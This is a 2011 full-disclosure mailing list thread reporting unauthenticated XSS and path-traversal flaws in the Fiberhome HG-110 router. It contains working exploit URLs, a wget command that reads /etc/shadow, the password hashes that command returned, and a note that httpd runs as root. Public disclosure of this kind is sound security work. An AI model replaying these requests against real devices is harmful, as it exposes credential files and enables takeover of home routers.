full-disclosure - Re: Fiberhome HG-110 (adsl/router) vulnerabilities

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Date: Sun, 10 Apr 2011 05:41:31 -0300
From: "Zerial." <fernando@...ial.org>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: Fiberhome HG-110 (adsl/router) vulnerabilities

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Hash: SHA1

You can include /etc/shadow:

$ wget -o /dev/null -O - "http://192.168.1.1:8000/cgi-bin
/webproc?getpage=../../../../../../../../../../../../etc/shadow&
var:menu=advanced&var:page=dns"

#root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::

root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::

#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::

#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::


"httpd" process are running as root:

~ $ ps ax|grep httpd

  509 root       4212 SW  /usr/sbin/mini_httpd -d /usr/www -c
/cgi-bin/* -u roo


~ $






On 04/08/11 10:30, Zerial. wrote:
> I found two vulnerabilities on fiberhome hg-110 routers[1] and has not
> been reported nor fixed.
> 
> XSS:
> -
> http://192.168.1.1:8000/cgi-bin/webproc?getpage=%3Cscript%3Ealert%28this%29%3C/script%3E&var:menu=advanced&var:page=dns
> 
> Local File Include and Directory/Path Traversal:
> 
> -
> http://192.168.1.1:8000/cgi-bin/webproc?getpage=../../../../../../../../../../../../etc/passwd&var:menu=advanced&var:page=dns
> 
> URLs are accessible without authentication.
> 
> Device info:
> 
> - HardwareVersion :	HG110_BH_R1A
> 
> - SoftwareVersion :	HG110_BH_V1.6
> 
> - Firmware Version :	1.0.0
> 
> 
> This vulnerabilities can affect to other version and models of this vendor.
> 
> 
> [1] http://www.minuevohogar.cl/wp-content/uploads/2011/03/Imagen-8.png

- -- 
Zerial
Seguridad Informatica
GNU/Linux User #382319
Blog: http://blog.zerial.org
Jabber: zerial@...beres.org
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